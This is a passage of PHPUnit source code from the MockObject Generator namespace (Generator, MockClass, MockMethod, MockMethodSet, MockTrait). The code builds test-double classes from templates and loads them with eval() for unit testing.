function in_array; use function interface_exists; use function is_array; use function is_object; use function md5; use function method_exists; use function mt_rand; use function preg_match; use function preg_match_all; use function range; use function serialize; use function sort; use function sprintf; use function str_contains; use function str_replace; use function strlen; use function strpos; use function substr; use function trait_exists; use function version_compare; use Exception; use Iterator; use IteratorAggregate; use PHPUnit\Framework\InvalidArgumentException; use PHPUnit\Framework\MockObject\ConfigurableMethod; use PHPUnit\Framework\MockObject\DoubledCloneMethod; use PHPUnit\Framework\MockObject\Method; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\MockObject\MockObjectApi; use PHPUnit\Framework\MockObject\MockObjectInternal; use PHPUnit\Framework\MockObject\ProxiedCloneMethod; use PHPUnit\Framework\MockObject\Stub; use PHPUnit\Framework\MockObject\StubApi; use PHPUnit\Framework\MockObject\StubInternal; use ReflectionClass; use ReflectionMethod; use SoapClient; use SoapFault; use Throwable; use Traversable; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Generator { use TemplateLoader; /** * @var array */ private static $excludedMethodNames = []; /** * @psalm-var array */ private static array $cache = []; /** * Returns a test double for the specified class. * * @throws ClassIsEnumerationException * @throws ClassIsFinalException * @throws ClassIsReadonlyException * @throws DuplicateMethodException * @throws InvalidMethodNameException * @throws NameAlreadyInUseException * @throws OriginalConstructorInvocationRequiredException * @throws ReflectionException * @throws RuntimeException * @throws UnknownTypeException */ public function testDouble(string $type, bool $mockObject, ?array $methods = [], array $arguments = [], string $mockClassName = '', bool $callOriginalConstructor = true, bool $callOriginalClone = true, bool $callAutoload = true, bool $cloneArguments = true, bool $callOriginalMethods = false, ?object $proxyTarget = null, bool $allowMockingUnknownTypes = true, bool $returnValueGeneration = true): MockObject|Stub { if ($type === Traversable::class) { $type = Iterator::class; } if (!$allowMockingUnknownTypes) { $this->ensureKnownType($type, $callAutoload); } $this->ensureValidMethods($methods); $this->ensureNameForTestDoubleClassIsAvailable($mockClassName); if (!$callOriginalConstructor && $callOriginalMethods) { throw new OriginalConstructorInvocationRequiredException; } $mock = $this->generate( $type, $mockObject, $methods, $mockClassName, $callOriginalClone, $callAutoload, $cloneArguments, $callOriginalMethods, ); $object = $this->getObject( $mock, $type, $callOriginalConstructor, $arguments, $callOriginalMethods, $proxyTarget, $returnValueGeneration, ); assert($object instanceof $type); if ($mockObject) { assert($object instanceof MockObject); } else { assert($object instanceof Stub); } return $object; } /** * @psalm-param list $interfaces * * @throws RuntimeException * @throws UnknownTypeException */ public function testDoubleForInterfaceIntersection(array $interfaces, bool $mockObject, bool $callAutoload = true): MockObject|Stub { if (count($interfaces) < 2) { throw new RuntimeException('At least two interfaces must be specified'); } foreach ($interfaces as $interface) { if (!interface_exists($interface, $callAutoload)) { throw new UnknownTypeException($interface); } } sort($interfaces); $methods = []; foreach ($interfaces as $interface) { $methods = array_merge($methods, $this->namesOfMethodsIn($interface)); } if (count(array_unique($methods)) < count($methods)) { throw new RuntimeException('Interfaces must not declare the same method'); } $unqualifiedNames = []; foreach ($interfaces as $interface) { $parts = explode('\\', $interface); $unqualifiedNames[] = array_pop($parts); } sort($unqualifiedNames); do { $intersectionName = sprintf( 'Intersection_%s_%s', implode('_', $unqualifiedNames), substr(md5((string) mt_rand()), 0, 8), ); } while (interface_exists($intersectionName, false)); $template = $this->loadTemplate('intersection.tpl'); $template->setVar( [ 'intersection' => $intersectionName, 'interfaces' => implode(', ', $interfaces), ], ); eval($template->render()); return $this->testDouble($intersectionName, $mockObject); } /** * Returns a mock object for the specified abstract class with all abstract * methods of the class mocked. * * Concrete methods to mock can be specified with the $mockedMethods parameter. * * @throws ClassIsEnumerationException * @throws ClassIsFinalException * @throws ClassIsReadonlyException * @throws DuplicateMethodException * @throws InvalidArgumentException * @throws InvalidMethodNameException * @throws NameAlreadyInUseException * @throws OriginalConstructorInvocationRequiredException * @throws ReflectionException * @throws RuntimeException * @throws UnknownClassException * @throws UnknownTypeException * * @deprecated https://github.com/sebastianbergmann/phpunit/issues/5241 */ public function mockObjectForAbstractClass(string $originalClassName, array $arguments = [], string $mockClassName = '', bool $callOriginalConstructor = true, bool $callOriginalClone = true, bool $callAutoload = true, ?array $mockedMethods = null, bool $cloneArguments = true): MockObject { if (class_exists($originalClassName, $callAutoload) || interface_exists($originalClassName, $callAutoload)) { $reflector = $this->reflectClass($originalClassName); $methods = $mockedMethods; foreach ($reflector->getMethods() as $method) { if ($method->isAbstract() && !in_array($method->getName(), $methods ?? [], true)) { $methods[] = $method->getName(); } } if (empty($methods)) { $methods = null; } $mockObject = $this->testDouble( $originalClassName, true, $methods, $arguments, $mockClassName, $callOriginalConstructor, $callOriginalClone, $callAutoload, $cloneArguments, ); assert($mockObject instanceof $originalClassName); assert($mockObject instanceof MockObject); return $mockObject; } throw new UnknownClassException($originalClassName); } /** * Returns a mock object for the specified trait with all abstract methods * of the trait mocked. Concrete methods to mock can be specified with the * `$mockedMethods` parameter. * * @psalm-param trait-string $traitName * * @throws ClassIsEnumerationException * @throws ClassIsFinalException * @throws ClassIsReadonlyException * @throws DuplicateMethodException * @throws InvalidArgumentException * @throws InvalidMethodNameException * @throws NameAlreadyInUseException * @throws OriginalConstructorInvocationRequiredException * @throws ReflectionException * @throws RuntimeException * @throws UnknownClassException * @throws UnknownTraitException * @throws UnknownTypeException * * @deprecated https://github.com/sebastianbergmann/phpunit/issues/5243 */ public function mockObjectForTrait(string $traitName, array $arguments = [], string $mockClassName = '', bool $callOriginalConstructor = true, bool $callOriginalClone = true, bool $callAutoload = true, ?array $mockedMethods = null, bool $cloneArguments = true): MockObject { if (!trait_exists($traitName, $callAutoload)) { throw new UnknownTraitException($traitName); } $className = $this->generateClassName( $traitName, '', 'Trait_', ); $classTemplate = $this->loadTemplate('trait_class.tpl'); $classTemplate->setVar( [ 'prologue' => 'abstract ', 'class_name' => $className['className'], 'trait_name' => $traitName, ], ); $mockTrait = new MockTrait($classTemplate->render(), $className['className']); $mockTrait->generate(); return $this->mockObjectForAbstractClass($className['className'], $arguments, $mockClassName, $callOriginalConstructor, $callOriginalClone, $callAutoload, $mockedMethods, $cloneArguments); } /** * Returns an object for the specified trait. * * @psalm-param trait-string $traitName * * @throws ReflectionException * @throws RuntimeException * @throws UnknownTraitException * * @deprecated https://github.com/sebastianbergmann/phpunit/issues/5244 */ public function objectForTrait(string $traitName, string $traitClassName = '', bool $callAutoload = true, bool $callOriginalConstructor = false, array $arguments = []): object { if (!trait_exists($traitName, $callAutoload)) { throw new UnknownTraitException($traitName); } $className = $this->generateClassName( $traitName, $traitClassName, 'Trait_', ); $classTemplate = $this->loadTemplate('trait_class.tpl'); $classTemplate->setVar( [ 'prologue' => '', 'class_name' => $className['className'], 'trait_name' => $traitName, ], ); return $this->getObject( new MockTrait( $classTemplate->render(), $className['className'], ), '', $callOriginalConstructor, $arguments, ); } /** * @throws ClassIsEnumerationException * @throws ClassIsFinalException * @throws ClassIsReadonlyException * @throws ReflectionException * @throws RuntimeException * * @todo This method is only public because it is used to test generated code in PHPT tests * * @see https://github.com/sebastianbergmann/phpunit/issues/5476 */ public function generate(string $type, bool $mockObject, ?array $methods = null, string $mockClassName = '', bool $callOriginalClone = true, bool $callAutoload = true, bool $cloneArguments = true, bool $callOriginalMethods = false): MockClass { if ($mockClassName !== '') { return $this->generateCodeForTestDoubleClass( $type, $mockObject, $methods, $mockClassName, $callOriginalClone, $callAutoload, $cloneArguments, $callOriginalMethods, ); } $key = md5( $type . ($mockObject ? 'MockObject' : 'TestStub') . serialize($methods) . serialize($callOriginalClone) . serialize($cloneArguments) . serialize($callOriginalMethods), ); if (!isset(self::$cache[$key])) { self::$cache[$key] = $this->generateCodeForTestDoubleClass( $type, $mockObject, $methods, $mockClassName, $callOriginalClone, $callAutoload, $cloneArguments, $callOriginalMethods, ); } return self::$cache[$key]; } /** * @throws RuntimeException * @throws SoapExtensionNotAvailableException * * @deprecated https://github.com/sebastianbergmann/phpunit/issues/5242 */ public function generateClassFromWsdl(string $wsdlFile, string $className, array $methods = [], array $options = []): string { if (!extension_loaded('soap')) { throw new SoapExtensionNotAvailableException; } $options['cache_wsdl'] = WSDL_CACHE_NONE; try { $client = new SoapClient($wsdlFile, $options); $_methods = array_unique($client->__getFunctions()); unset($client); } catch (SoapFault $e) { throw new RuntimeException( $e->getMessage(), $e->getCode(), $e, ); } sort($_methods); $methodTemplate = $this->loadTemplate('wsdl_method.tpl'); $methodsBuffer = ''; foreach ($_methods as $method) { preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*\(/', $method, $matches, PREG_OFFSET_CAPTURE); $lastFunction = array_pop($matches[0]); $nameStart = $lastFunction[1]; $nameEnd = $nameStart + strlen($lastFunction[0]) - 1; $name = str_replace('(', '', $lastFunction[0]); if (empty($methods) || in_array($name, $methods, true)) { $arguments = explode( ',', str_replace(')', '', substr($method, $nameEnd + 1)), ); foreach (range(0, count($arguments) - 1) as $i) { $parameterStart = strpos($arguments[$i], '$'); if (!$parameterStart) { continue; } $arguments[$i] = substr($arguments[$i], $parameterStart); } $methodTemplate->setVar( [ 'method_name' => $name, 'arguments' => implode(', ', $arguments), ], ); $methodsBuffer .= $methodTemplate->render(); } } $optionsBuffer = '['; foreach ($options as $key => $value) { $optionsBuffer .= $key . ' => ' . $value; } $optionsBuffer .= ']'; $classTemplate = $this->loadTemplate('wsdl_class.tpl'); $namespace = ''; if (str_contains($className, '\\')) { $parts = explode('\\', $className); $className = array_pop($parts); $namespace = 'namespace ' . implode('\\', $parts) . ';' . "\n\n"; } $classTemplate->setVar( [ 'namespace' => $namespace, 'class_name' => $className, 'wsdl' => $wsdlFile, 'options' => $optionsBuffer, 'methods' => $methodsBuffer, ], ); return $classTemplate->render(); } /** * @throws ReflectionException * * @psalm-return list */ public function mockClassMethods(string $className, bool $callOriginalMethods, bool $cloneArguments): array { $class = $this->reflectClass($className); $methods = []; foreach ($class->getMethods() as $method) { if (($method->isPublic() || $method->isAbstract()) && $this->canMethodBeDoubled($method)) { $methods[] = MockMethod::fromReflection($method, $callOriginalMethods, $cloneArguments); } } return $methods; } /** * @psalm-param class-string $interfaceName * * @throws ReflectionException * * @psalm-return list */ private function userDefinedInterfaceMethods(string $interfaceName): array { $interface = $this->reflectClass($interfaceName); $methods = []; foreach ($interface->getMethods() as $method) { if (!$method->isUserDefined()) { continue; } $methods[] = $method; } return $methods; } /** * @throws ReflectionException * @throws RuntimeException */ private function getObject(MockType $mockClass, string $type = '', bool $callOriginalConstructor = false, array $arguments = [], bool $callOriginalMethods = false, ?object $proxyTarget = null, bool $returnValueGeneration = true): object { $className = $mockClass->generate(); $object = $this->instantiate($className, $callOriginalConstructor, $arguments); if ($callOriginalMethods) { $this->instantiateProxyTarget($proxyTarget, $object, $type, $arguments); } if ($object instanceof StubInternal) { $object->__phpunit_setReturnValueGeneration($returnValueGeneration); } return $object; } /** * @throws ClassIsEnumerationException * @throws ClassIsFinalException * @throws ClassIsReadonlyException * @throws ReflectionException * @throws RuntimeException */ private function generateCodeForTestDoubleClass(string $type, bool $mockObject, ?array $explicitMethods, string $mockClassName, bool $callOriginalClone, bool $callAutoload, bool $cloneArguments, bool $callOriginalMethods): MockClass { $classTemplate = $this->loadTemplate('test_double_class.tpl'); $additionalInterfaces = []; $doubledCloneMethod = false; $proxiedCloneMethod = false; $isClass = false; $isInterface = false; $class = null; $mockMethods = new MockMethodSet; $testDoubleClassPrefix = $mockObject ? 'MockObject_' : 'TestStub_'; $_mockClassName = $this->generateClassName( $type, $mockClassName, $testDoubleClassPrefix, ); if (class_exists($_mockClassName['fullClassName'], $callAutoload)) { $isClass = true; } elseif (interface_exists($_mockClassName['fullClassName'], $callAutoload)) { $isInterface = true; } if (!$isClass && !$isInterface) { $prologue = 'class ' . $_mockClassName['originalClassName'] . "\n{\n}\n\n"; if (!empty($_mockClassName['namespaceName'])) { $prologue = 'namespace ' . $_mockClassName['namespaceName'] . " {\n\n" . $prologue . "}\n\n" . "namespace {\n\n"; $epilogue = "\n\n}"; } $doubledCloneMethod = true; } else { $class = $this->reflectClass($_mockClassName['fullClassName']); if ($class->isEnum()) { throw new ClassIsEnumerationException($_mockClassName['fullClassName']); } if ($class->isFinal()) { throw new ClassIsFinalException($_mockClassName['fullClassName']); } if (method_exists($class, 'isReadOnly') && $class->isReadOnly()) { throw new ClassIsReadonlyException($_mockClassName['fullClassName']); } // @see https://github.com/sebastianbergmann/phpunit/issues/2995 if ($isInterface && $class->implementsInterface(Throwable::class)) { $actualClassName = Exception::class; $additionalInterfaces[] = $class->getName(); $isInterface = false; $class = $this->reflectClass($actualClassName); foreach ($this->userDefinedInterfaceMethods($_mockClassName['fullClassName']) as $method) { $methodName = $method->getName(); if ($class->hasMethod($methodName)) { $classMethod = $class->getMethod($methodName); if (!$this->canMethodBeDoubled($classMethod)) { continue; } } $mockMethods->addMethods( MockMethod::fromReflection($method, $callOriginalMethods, $cloneArguments), ); } $_mockClassName = $this->generateClassName( $actualClassName, $_mockClassName['className'], $testDoubleClassPrefix, ); } // @see https://github.com/sebastianbergmann/phpunit-mock-objects/issues/103 if ($isInterface && $class->implementsInterface(Traversable::class) && !$class->implementsInterface(Iterator::class) && !$class->implementsInterface(IteratorAggregate::class)) { $additionalInterfaces[] = Iterator::class; $mockMethods->addMethods( ...$this->mockClassMethods(Iterator::class, $callOriginalMethods, $cloneArguments), ); } if ($class->hasMethod('__clone')) { $cloneMethod = $class->getMethod('__clone'); if (!$cloneMethod->isFinal()) { if ($callOriginalClone && !$isInterface) { $proxiedCloneMethod = true; } else { $doubledCloneMethod = true; } } } else { $doubledCloneMethod = true; } } if ($isClass && $explicitMethods === []) { $mockMethods->addMethods( ...$this->mockClassMethods($_mockClassName['fullClassName'], $callOriginalMethods, $cloneArguments), ); } if ($isInterface && ($explicitMethods === [] || $explicitMethods === null)) { $mockMethods->addMethods( ...$this->interfaceMethods($_mockClassName['fullClassName'], $cloneArguments), ); } if (is_array($explicitMethods)) { foreach ($explicitMethods as $methodName) { if ($class !== null && $class->hasMethod($methodName)) { $method = $class->getMethod($methodName); if ($this->canMethodBeDoubled($method)) { $mockMethods->addMethods( MockMethod::fromReflection($method, $callOriginalMethods, $cloneArguments), ); } } else { $mockMethods->addMethods( MockMethod::fromName( $_mockClassName['fullClassName'], $methodName, $cloneArguments, ), ); } } } $mockedMethods = ''; $configurable = []; foreach ($mockMethods->asArray() as $mockMethod) { $mockedMethods .= $mockMethod->generateCode(); $configurable[] = new ConfigurableMethod( $mockMethod->methodName(), $mockMethod->defaultParameterValues(), $mockMethod->numberOfParameters(), $mockMethod->returnType(), ); } /** @psalm-var trait-string[] $traits */ $traits = [StubApi::class]; if ($mockObject) { $traits[] = MockObjectApi::class; } if (!$mockMethods->hasMethod('method') && (!isset($class) || !$class->hasMethod('method'))) { $traits[] = Method::class; } if ($doubledCloneMethod) { $traits[] = DoubledCloneMethod::class; } if ($proxiedCloneMethod) { $traits[] = ProxiedCloneMethod::class; } $useStatements = ''; foreach ($traits as $trait) { $useStatements .= sprintf( ' use %s;' . PHP_EOL, $trait, ); } unset($traits); $classTemplate->setVar( [ 'prologue' => $prologue ?? '', 'epilogue' => $epilogue ?? '', 'class_declaration' => $this->generateTestDoubleClassDeclaration( $mockObject, $_mockClassName, $isInterface, $additionalInterfaces, ), 'use_statements' => $useStatements, 'mock_class_name' => $_mockClassName['className'], 'mocked_methods' => $mockedMethods, ], ); return new MockClass( $classTemplate->render(), $_mockClassName['className'], $configurable, ); } private function generateClassName(string $type, string $className, string $prefix): array { if ($type[0] === '\\') { $type = substr($type, 1); } $classNameParts = explode('\\', $type); if (count($classNameParts) > 1) { $type = array_pop($classNameParts); $namespaceName = implode('\\', $classNameParts); $fullClassName = $namespaceName . '\\' . $type; } else { $namespaceName = ''; $fullClassName = $type; } if ($className === '') { do { $className = $prefix . $type . '_' . substr(md5((string) mt_rand()), 0, 8); } while (class_exists($className, false)); } return [ 'className' => $className, 'originalClassName' => $type, 'fullClassName' => $fullClassName, 'namespaceName' => $namespaceName, ]; } private function generateTestDoubleClassDeclaration(bool $mockObject, array $mockClassName, bool $isInterface, array $additionalInterfaces = []): string { if ($mockObject) { $additionalInterfaces[] = MockObjectInternal::class; } else { $additionalInterfaces[] = StubInternal::class; } $buffer = 'class '; $interfaces = implode(', ', $additionalInterfaces); if ($isInterface) { $buffer .= sprintf( '%s implements %s', $mockClassName['className'], $interfaces, ); if (!in_array($mockClassName['originalClassName'], $additionalInterfaces, true)) { $buffer .= ', '; if (!empty($mockClassName['namespaceName'])) { $buffer .= $mockClassName['namespaceName'] . '\\'; } $buffer .= $mockClassName['originalClassName']; } } else { $buffer .= sprintf( '%s extends %s%s implements %s', $mockClassName['className'], !empty($mockClassName['namespaceName']) ? $mockClassName['namespaceName'] . '\\' : '', $mockClassName['originalClassName'], $interfaces, ); } return $buffer; } private function canMethodBeDoubled(ReflectionMethod $method): bool { if ($method->isConstructor()) { return false; } if ($method->isDestructor()) { return false; } if ($method->isFinal()) { return false; } if ($method->isPrivate()) { return false; } return !$this->isMethodNameExcluded($method->getName()); } private function isMethodNameExcluded(string $name): bool { if (self::$excludedMethodNames === []) { self::$excludedMethodNames = [ '__CLASS__' => true, '__DIR__' => true, '__FILE__' => true, '__FUNCTION__' => true, '__LINE__' => true, '__METHOD__' => true, '__NAMESPACE__' => true, '__TRAIT__' => true, '__clone' => true, '__halt_compiler' => true, ]; if (version_compare(PHP_VERSION, '8.5', '>=')) { self::$excludedMethodNames['__sleep'] = true; self::$excludedMethodNames['__wakeup'] = true; } } return isset(self::$excludedMethodNames[$name]); } /** * @throws UnknownTypeException */ private function ensureKnownType(string $type, bool $callAutoload): void { if (!class_exists($type, $callAutoload) && !interface_exists($type, $callAutoload)) { throw new UnknownTypeException($type); } } /** * @throws DuplicateMethodException * @throws InvalidMethodNameException */ private function ensureValidMethods(?array $methods): void { if ($methods === null) { return; } foreach ($methods as $method) { if (!preg_match('~[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*~', (string) $method)) { throw new InvalidMethodNameException((string) $method); } } if ($methods !== array_unique($methods)) { throw new DuplicateMethodException($methods); } } /** * @throws NameAlreadyInUseException * @throws ReflectionException */ private function ensureNameForTestDoubleClassIsAvailable(string $className): void { if ($className === '') { return; } if (class_exists($className, false) || interface_exists($className, false) || trait_exists($className, false)) { throw new NameAlreadyInUseException($className); } } /** * @psalm-param class-string $className * * @throws ReflectionException */ private function instantiate(string $className, bool $callOriginalConstructor, array $arguments): object { if ($callOriginalConstructor) { if (count($arguments) === 0) { return new $className; } try { return (new ReflectionClass($className))->newInstanceArgs($arguments); // @codeCoverageIgnoreStart } catch (\ReflectionException $e) { throw new ReflectionException( $e->getMessage(), $e->getCode(), $e, ); } // @codeCoverageIgnoreEnd } try { return (new ReflectionClass($className))->newInstanceWithoutConstructor(); // @codeCoverageIgnoreStart } catch (\ReflectionException $e) { throw new ReflectionException( $e->getMessage(), $e->getCode(), $e, ); // @codeCoverageIgnoreEnd } } /** * @psalm-param class-string $type * * @throws ReflectionException */ private function instantiateProxyTarget(?object $proxyTarget, object $object, string $type, array $arguments): void { if (!is_object($proxyTarget)) { assert(class_exists($type)); if (count($arguments) === 0) { $proxyTarget = new $type; } else { $class = new ReflectionClass($type); try { $proxyTarget = $class->newInstanceArgs($arguments); // @codeCoverageIgnoreStart } catch (\ReflectionException $e) { throw new ReflectionException( $e->getMessage(), $e->getCode(), $e, ); } // @codeCoverageIgnoreEnd } } $object->__phpunit_setOriginalObject($proxyTarget); } /** * @psalm-param class-string $className * * @throws ReflectionException */ private function reflectClass(string $className): ReflectionClass { try { $class = new ReflectionClass($className); // @codeCoverageIgnoreStart } catch (\ReflectionException $e) { throw new ReflectionException( $e->getMessage(), $e->getCode(), $e, ); } // @codeCoverageIgnoreEnd return $class; } /** * @psalm-param class-string $classOrInterfaceName * * @throws ReflectionException * * @psalm-return list */ private function namesOfMethodsIn(string $classOrInterfaceName): array { $class = $this->reflectClass($classOrInterfaceName); $methods = []; foreach ($class->getMethods() as $method) { if ($method->isPublic() || $method->isAbstract()) { $methods[] = $method->getName(); } } return $methods; } /** * @psalm-param class-string $interfaceName * * @throws ReflectionException * * @psalm-return list */ private function interfaceMethods(string $interfaceName, bool $cloneArguments): array { $class = $this->reflectClass($interfaceName); $methods = []; foreach ($class->getMethods() as $method) { $methods[] = MockMethod::fromReflection($method, false, $cloneArguments); } return $methods; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject\Generator; use function call_user_func; use function class_exists; use PHPUnit\Framework\MockObject\ConfigurableMethod; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class MockClass implements MockType { private readonly string $classCode; /** * @psalm-var class-string */ private readonly string $mockName; /** * @psalm-var list */ private readonly array $configurableMethods; /** * @psalm-param class-string $mockName * @psalm-param list $configurableMethods */ public function __construct(string $classCode, string $mockName, array $configurableMethods) { $this->classCode = $classCode; $this->mockName = $mockName; $this->configurableMethods = $configurableMethods; } /** * @psalm-return class-string */ public function generate(): string { if (!class_exists($this->mockName, false)) { eval($this->classCode); call_user_func( [ $this->mockName, '__phpunit_initConfigurableMethods', ], ...$this->configurableMethods, ); } return $this->mockName; } public function classCode(): string { return $this->classCode; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject\Generator; use function count; use function explode; use function implode; use function is_object; use function is_string; use function preg_match; use function preg_replace; use function sprintf; use function str_contains; use function strlen; use function strpos; use function substr; use function substr_count; use function trim; use function var_export; use ReflectionMethod; use ReflectionParameter; use SebastianBergmann\Type\ReflectionMapper; use SebastianBergmann\Type\Type; use SebastianBergmann\Type\UnknownType; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class MockMethod { use TemplateLoader; /** * @psalm-var class-string */ private readonly string $className; /** * @psalm-var non-empty-string */ private readonly string $methodName; private readonly bool $cloneArguments; private readonly string $modifier; private readonly string $argumentsForDeclaration; private readonly string $argumentsForCall; private readonly Type $returnType; private readonly string $reference; private readonly bool $callOriginalMethod; private readonly bool $static; private readonly ?string $deprecation; /** * @psalm-var array */ private readonly array $defaultParameterValues; /** * @psalm-var non-negative-int */ private readonly int $numberOfParameters; /** * @throws ReflectionException * @throws RuntimeException */ public static function fromReflection(ReflectionMethod $method, bool $callOriginalMethod, bool $cloneArguments): self { if ($method->isPrivate()) { $modifier = 'private'; } elseif ($method->isProtected()) { $modifier = 'protected'; } else { $modifier = 'public'; } if ($method->isStatic()) { $modifier .= ' static'; } if ($method->returnsReference()) { $reference = '&'; } else { $reference = ''; } $docComment = $method->getDocComment(); if (is_string($docComment) && preg_match('#\*[ \t]*+@deprecated[ \t]*+(.*?)\r?+\n[ \t]*+\*(?:[ \t]*+@|/$)#s', $docComment, $deprecation)) { $deprecation = trim(preg_replace('#[ \t]*\r?\n[ \t]*+\*[ \t]*+#', ' ', $deprecation[1])); } else { $deprecation = null; } return new self( $method->getDeclaringClass()->getName(), $method->getName(), $cloneArguments, $modifier, self::methodParametersForDeclaration($method), self::methodParametersForCall($method), self::methodParametersDefaultValues($method), count($method->getParameters()), (new ReflectionMapper)->fromReturnType($method), $reference, $callOriginalMethod, $method->isStatic(), $deprecation, ); } /** * @param class-string $className * @param non-empty-string $methodName */ public static function fromName(string $className, string $methodName, bool $cloneArguments): self { return new self( $className, $methodName, $cloneArguments, 'public', '', '', [], 0, new UnknownType, '', false, false, null, ); } /** * @psalm-param class-string $className * @psalm-param non-empty-string $methodName * @psalm-param array $defaultParameterValues * @psalm-param non-negative-int $numberOfParameters */ private function __construct(string $className, string $methodName, bool $cloneArguments, string $modifier, string $argumentsForDeclaration, string $argumentsForCall, array $defaultParameterValues, int $numberOfParameters, Type $returnType, string $reference, bool $callOriginalMethod, bool $static, ?string $deprecation) { $this->className = $className; $this->methodName = $methodName; $this->cloneArguments = $cloneArguments; $this->modifier = $modifier; $this->argumentsForDeclaration = $argumentsForDeclaration; $this->argumentsForCall = $argumentsForCall; $this->defaultParameterValues = $defaultParameterValues; $this->numberOfParameters = $numberOfParameters; $this->returnType = $returnType; $this->reference = $reference; $this->callOriginalMethod = $callOriginalMethod; $this->static = $static; $this->deprecation = $deprecation; } /** * @psalm-return non-empty-string */ public function methodName(): string { return $this->methodName; } /** * @throws RuntimeException */ public function generateCode(): string { if ($this->static) { $templateFile = 'doubled_static_method.tpl'; } else { $templateFile = sprintf( '%s_method.tpl', $this->callOriginalMethod ? 'proxied' : 'doubled', ); } $deprecation = $this->deprecation; $returnResult = ''; if (!$this->returnType->isNever() && !$this->returnType->isVoid()) { $returnResult = <<<'EOT' return $__phpunit_result; EOT; } if (null !== $this->deprecation) { $deprecation = "The {$this->className}::{$this->methodName} method is deprecated ({$this->deprecation})."; $deprecationTemplate = $this->loadTemplate('deprecation.tpl'); $deprecationTemplate->setVar( [ 'deprecation' => var_export($deprecation, true), ], ); $deprecation = $deprecationTemplate->render(); } $template = $this->loadTemplate($templateFile); $argumentsCount = 0; if (str_contains($this->argumentsForCall, '...')) { $argumentsCount = null; } elseif (!empty($this->argumentsForCall)) { $argumentsCount = substr_count($this->argumentsForCall, ',') + 1; } $template->setVar( [ 'arguments_decl' => $this->argumentsForDeclaration, 'arguments_call' => $this->argumentsForCall, 'return_declaration' => !empty($this->returnType->asString()) ? (': ' . $this->returnType->asString()) : '', 'return_type' => $this->returnType->asString(), 'arguments_count' => $argumentsCount, 'class_name' => $this->className, 'method_name' => $this->methodName, 'modifier' => $this->modifier, 'reference' => $this->reference, 'clone_arguments' => $this->cloneArguments ? 'true' : 'false', 'deprecation' => $deprecation, 'return_result' => $returnResult, ], ); return $template->render(); } public function returnType(): Type { return $this->returnType; } /** * @psalm-return array */ public function defaultParameterValues(): array { return $this->defaultParameterValues; } /** * @psalm-return non-negative-int */ public function numberOfParameters(): int { return $this->numberOfParameters; } /** * Returns the parameters of a function or method. * * @throws RuntimeException */ private static function methodParametersForDeclaration(ReflectionMethod $method): string { $parameters = []; $types = (new ReflectionMapper)->fromParameterTypes($method); foreach ($method->getParameters() as $i => $parameter) { $name = '$' . $parameter->getName(); /* Note: PHP extensions may use empty names for reference arguments * or "..." for methods taking a variable number of arguments. */ if ($name === '$' || $name === '$...') { $name = '$arg' . $i; } $default = ''; $reference = ''; $typeDeclaration = ''; if (!$types[$i]->type()->isUnknown()) { $typeDeclaration = $types[$i]->type()->asString() . ' '; } if ($parameter->isPassedByReference()) { $reference = '&'; } if ($parameter->isVariadic()) { $name = '...' . $name; } elseif ($parameter->isDefaultValueAvailable()) { $default = ' = ' . self::exportDefaultValue($parameter); } elseif ($parameter->isOptional()) { $default = ' = null'; } $parameters[] = $typeDeclaration . $reference . $name . $default; } return implode(', ', $parameters); } /** * Returns the parameters of a function or method. * * @throws ReflectionException */ private static function methodParametersForCall(ReflectionMethod $method): string { $parameters = []; foreach ($method->getParameters() as $i => $parameter) { $name = '$' . $parameter->getName(); /* Note: PHP extensions may use empty names for reference arguments * or "..." for methods taking a variable number of arguments. */ if ($name === '$' || $name === '$...') { $name = '$arg' . $i; } if ($parameter->isVariadic()) { continue; } if ($parameter->isPassedByReference()) { $parameters[] = '&' . $name; } else { $parameters[] = $name; } } return implode(', ', $parameters); } /** * @throws ReflectionException */ private static function exportDefaultValue(ReflectionParameter $parameter): string { try { $defaultValue = $parameter->getDefaultValue(); if (!is_object($defaultValue)) { return var_export($defaultValue, true); } $parameterAsString = $parameter->__toString(); return explode( ' = ', substr( substr( $parameterAsString, strpos($parameterAsString, ' ') + strlen(' '), ), 0, -2, ), )[1]; // @codeCoverageIgnoreStart } catch (\ReflectionException $e) { throw new ReflectionException( $e->getMessage(), $e->getCode(), $e, ); } // @codeCoverageIgnoreEnd } /** * @psalm-return array */ private static function methodParametersDefaultValues(ReflectionMethod $method): array { $result = []; foreach ($method->getParameters() as $i => $parameter) { if (!$parameter->isDefaultValueAvailable()) { continue; } $result[$i] = $parameter->getDefaultValue(); } return $result; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject\Generator; use function array_key_exists; use function array_values; use function strtolower; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class MockMethodSet { /** * @psalm-var array */ private array $methods = []; public function addMethods(MockMethod ...$methods): void { foreach ($methods as $method) { $this->methods[strtolower($method->methodName())] = $method; } } /** * @psalm-return list */ public function asArray(): array { return array_values($this->methods); } public function hasMethod(string $methodName): bool { return array_key_exists(strtolower($methodName), $this->methods); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject\Generator; use function class_exists; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit * * @deprecated https://github.com/sebastianbergmann/phpunit/issues/5243 */ final class MockTrait implements MockType { private readonly string $classCode; /** * @psalm-var class-string */ private readonly string $mockName; /** * @psalm-param class-string $mockName */ public function __construct(string $classCode, string $mockName) { $this->classCode = $classCode; $this->mockName = $mockName; } /** * @psalm-return class-string */ public function generate(): string { if (!class_exists($this->mockName, false)) { eval($this->classCode); } return $this->mockName; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject\Generator; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for 